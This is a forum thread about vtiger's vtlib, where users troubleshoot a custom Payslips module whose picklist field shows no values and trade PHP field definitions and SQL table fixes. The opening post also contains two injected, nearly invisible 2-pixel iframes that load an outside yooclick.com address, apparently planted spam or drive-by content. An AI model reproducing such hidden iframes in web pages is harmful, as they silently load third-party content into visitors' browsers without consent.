Picklist in VTLIB

edited February 2012 in vtlib Vote Up0Vote Down
I've created a sample module from Payslips.
For some reason the picklist is not showing up.
Here is the sample of he code:
$field1 = new Vtiger_Field();
$field1->name = 'PayslipType';
$field1->label = 'Payslip Type';
$field1->columntype = 'VARCHAR(100)';
$field1->uitype = 15;
$field1->typeofdata = 'V~O';// Varchar~Optional
$block1->addField($field1); /** table and column are automatically set */
$field1->setPicklistValues( Array ('Employee', 'Trainee') );

Any suggestions? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 17 Comments sorted by Votes Date Added
  • same problem for us with 5.1.0 rc
  • i *think* i had problems with fields not turning up when the fieldname was written in mixed letter. like 'projectname' versus 'projectname'. maybe that can help you,

    klaus
  • i also created a sample module from payslips using vtlib 5.1.0.but, the picklist is not picklist not populating value.
    here is the sample of he code:

    $field2 = new vtiger_field();
    $field2->name = 'paysliptype';
    $field2->label = 'payslip type';
    $field2->columntype = 'varchar(100)';
    $field2->uitype = 15;
    $field2->typeofdata = 'v~o';// varchar~optional
    $block1->addfield($field2); /** table and column are automatically set */
    $field2->setpicklistvalues( array ('employee', 'trainee') );

    how to resolve this problem.please suggest.
  • $field2->column = 'paysliptype';

    this is missing in the above code.
  • so adding the column worked?
    in the example it shows some fields with the column and some fields without.
    is it mandatory?
  • no it didn't work for me but what i found out was that if you used similar field names that were already being used (like "status", etc) then it had values already assigned to them.
    i found when i just changed the names instead of using names that payslips had then i was fine.

    you can delete a module (search forum) and reinstall the updated one or you can just go to the picklist editor and add the dropdown choices that you want.
  • if you have not run the "buggy" script before, just follow tortoise13 suggestion to insert following line between the $field2 section will do the job right.

    $field2->column = 'paysliptype';


    if you had run the "buggy" script and having the empty picklist problem, just create the following 2 tables 'vtiger_paysliptype' and 'vtiger_paysliptype_seq' (table name must be lowercase):

    create table `vtiger_paysliptype` (
    `paysliptypeid` int(11) not null auto_increment,
    `paysliptype` varchar(200) not null,
    `presence` int(1) not null default '1',
    `picklist_valueid` int(11) not null default '0',
    primary key (`paysliptypeid`)
    ) engine=myisam auto_increment=3 default charset=utf8

    create table `vtiger_paysliptype_seq` (
    `id` int(11) not null
    ) engine=myisam default charset=utf8


    and insert a row to vtiger_paysliptype_seq table as

    insert into vtiger_paysliptype_seq values(0);

    and drop the 2 tables (table names are case sensitive) that caused by the "buggy" script:

    drop table vtiger_paysliptype;
    drop table vtiger_paysliptype_seq;


    finally you can login as 'admin', then go to settings->picklist editor to add in values "employee" and "trainee" etc.

    hope it helps.

    tq
  • fyi,

    this is what worked for me:
    $field2 = new vtiger_field&#40;&#41;;
    $field2-&gt;name = 'paysliptype';
    $field2-&gt;column = 'paysliptype';
    $field2-&gt;label = 'payslip type';
    $field2-&gt;columntype = 'varchar&#40;100&#41;';
    $field2-&gt;uitype = 15;
    $field2-&gt;typeofdata = 'v~o'; // varchar~optional
    $block1-&gt;addfield&#40;$field2&#41;; /** table and column are automatically set */
    $field2-&gt;setpicklistvalues&#40; array &#40;'employee', 'trainee'&#41; &#41;;
    

    field name had to also be lowercase.

    on another note, i was also having problems saving a new payslip. it would take me to a blank page. after reading the forums, i found the solution. add the following code:
    $module-&gt;initwebservice&#40;&#41;;
    

    after the call to
    $module-&gt;save&#40;&#41;;
    


    i've attached the entire working file as well. you'll have to rename it to .php file extension for it to work.

    hope this helps.
    zamil
  • this should be helpful to folks.

    thanks!
  • hi,

    i did the suggestion gave here, adding the follow script in my complete vtlib script to create a new module:

    $module->initwebservice();

    and when i try to save a record i received the follow error message:

    record you are trying to access is not found. go back.

    the another problem is with the picklist values. i try to create a relation between a field of my new module to the records from the products inventory, but it now work. i dont know if it possible?

    $field4 = new vtiger_field();
    $field4->name = 'produtos_descricao';
    $field4->label = 'produto';
    $field4->table = 'vtiger_products'; //get products do select from inventory products
    $field4->column = 'productname';
    $field4->columntype = 'varchar(50)';
    $field4->uitype = 15;
    $field4->typeofdata = 'v~o';// varchar~optional
    $block1->addfield($field4); /** table and column are automatically set */

    thank you.
Sign In or Register to comment.